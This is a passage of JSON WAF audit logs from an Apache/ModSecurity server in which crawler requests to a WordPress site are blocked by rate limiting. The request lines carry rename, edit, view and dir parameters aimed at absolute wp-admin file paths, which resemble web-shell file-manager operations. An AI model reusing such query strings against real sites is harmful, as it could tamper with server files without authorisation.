\"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":199,"p2":1981,"p3":0,"p4":0,"p5":352,"sr":123,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.265874 +0100","transaction_id":"abPInk26I4peWFmz15yYxAAAAUA","remote_address":"216.73.216.152","remote_port":33150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fmedia-new.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"bd7da09bdad52fa3ee5af10244e7916c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4590003"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"bd7da09bdad52fa3ee5af10244e7916c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/media-new.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":322,"p2":2871,"p3":0,"p4":0,"p5":502,"sr":151,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.354579 +0100","transaction_id":"abPInm-XEucyBza91ntbWAAAAwY","remote_address":"216.73.216.152","remote_port":34840,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fsite-health-info.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"c8e2b572a0b929c2a40db74f70dd43e0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5871558"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"c8e2b572a0b929c2a40db74f70dd43e0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/site-health-info.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":205,"p2":1920,"p3":0,"p4":0,"p5":491,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.447080 +0100","transaction_id":"abPInk26I4peWFmz15yYxQAAAUA","remote_address":"216.73.216.152","remote_port":33150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?view=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fsite-health.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"98fbaa3f163358aa46d519ad15a30c92","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5871561"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"98fbaa3f163358aa46d519ad15a30c92","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/site-health.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":274,"p2":2616,"p3":0,"p4":0,"p5":350,"sr":162,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.536674 +0100","transaction_id":"abPInk26I4peWFmz15yYxgAAAUA","remote_address":"216.73.216.152","remote_port":33150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fmy-sites.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"f3ed74d3a32bb5eba2fc669f9b5879ef","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11241573"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"f3ed74d3a32bb5eba2fc669f9b5879ef","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/my-sites.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":201,"p2":1951,"p3":0,"p4":0,"p5":397,"sr":118,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.628118 +0100","transaction_id":"abPInk26I4peWFmz15yYxwAAAUA","remote_address":"216.73.216.152","remote_port":33150,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?edit=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fsite-health.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0b5b89d91c55311afb42920756e9ca54","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5871564"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0b5b89d91c55311afb42920756e9ca54","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/site-health.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":197,"p2":2081,"p3":0,"p4":0,"p5":367,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.719959 +0100","transaction_id":"abPInk26I4peWFmz15yYyAAAAVc","remote_address":"216.73.216.152","remote_port":34828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Foptions-media.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0519259276102a8ca9b3c3d3234b5fd7","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6166408"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0519259276102a8ca9b3c3d3234b5fd7","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/options-media.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":272,"p2":2760,"p3":0,"p4":0,"p5":457,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.810514 +0100","transaction_id":"abPInk26I4peWFmz15yYyQAAAVc","remote_address":"216.73.216.152","remote_port":34828,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Ffreedoms.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"54f536c60f8fc476d995d5683d1b252c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5871567"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"54f536c60f8fc476d995d5683d1b252c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/freedoms.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":223,"p2":2468,"p3":0,"p4":0,"p5":396,"sr":166,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.901486 +0100","transaction_id":"abPInoB2aIMAFdsi8EHoSAAAAsc","remote_address":"216.73.216.152","remote_port":57942,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?dir=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fimages HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b312404039417bbd60aee4da539f7fc2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"11241576"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b312404039417bbd60aee4da539f7fc2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/images& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":233,"p2":2148,"p3":0,"p4":0,"p5":453,"sr":116,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:42.992297 +0100","transaction_id":"abPInuEAMg66iR7kG38TwQAAA0Q","remote_address":"216.73.216.152","remote_port":57956,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Flink-add.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0a22d67125abddfd11f57cea28a36d15","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"12812408"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0a22d67125abddfd11f57cea28a36d15","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/link-add.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":268,"p2":2622,"p3":0,"p4":0,"p5":429,"sr":139,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.084030 +0100","transaction_id":"abPIn-EAMg66iR7kG38TwgAAA0Q","remote_address":"216.73.216.152","remote_port":57956,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fprivacy-policy-guide.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"74638ae48fe14df81b98bfd72fc703c2","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13796563"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"74638ae48fe14df81b98bfd72fc703c2","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/privacy-policy-guide.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":267,"p2":2570,"p3":0,"p4":0,"p5":500,"sr":135,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.175615 +0100","transaction_id":"abPIn-EAMg66iR7kG38TxAAAA1A","remote_address":"216.73.216.152","remote_port":58356,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fcredits.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"b63915ebca9afbfc96d8f44ff1bb4aa4","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13796566"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"b63915ebca9afbfc96d8f44ff1bb4aa4","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/credits.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":321,"p2":2824,"p3":0,"p4":0,"p5":463,"sr":129,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:19:43.265844 +0100","transaction_id":"abPIn-EAMg66iR7kG38TxgAAA0Q","remote_address":"216.73.216.152","remote_port":57956,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=%2Fhtdocs%2Fptso.jmkconsulting-ci.com%2Fwp-admin%2Fpost-new.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a06da10b86b75752d16f91b2acbf1aab","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13796569"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a06da10b86b75752d16f91b2acbf1aab","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/ptso.jmkconsulting-ci.com/wp-admin/post-new.php& P: 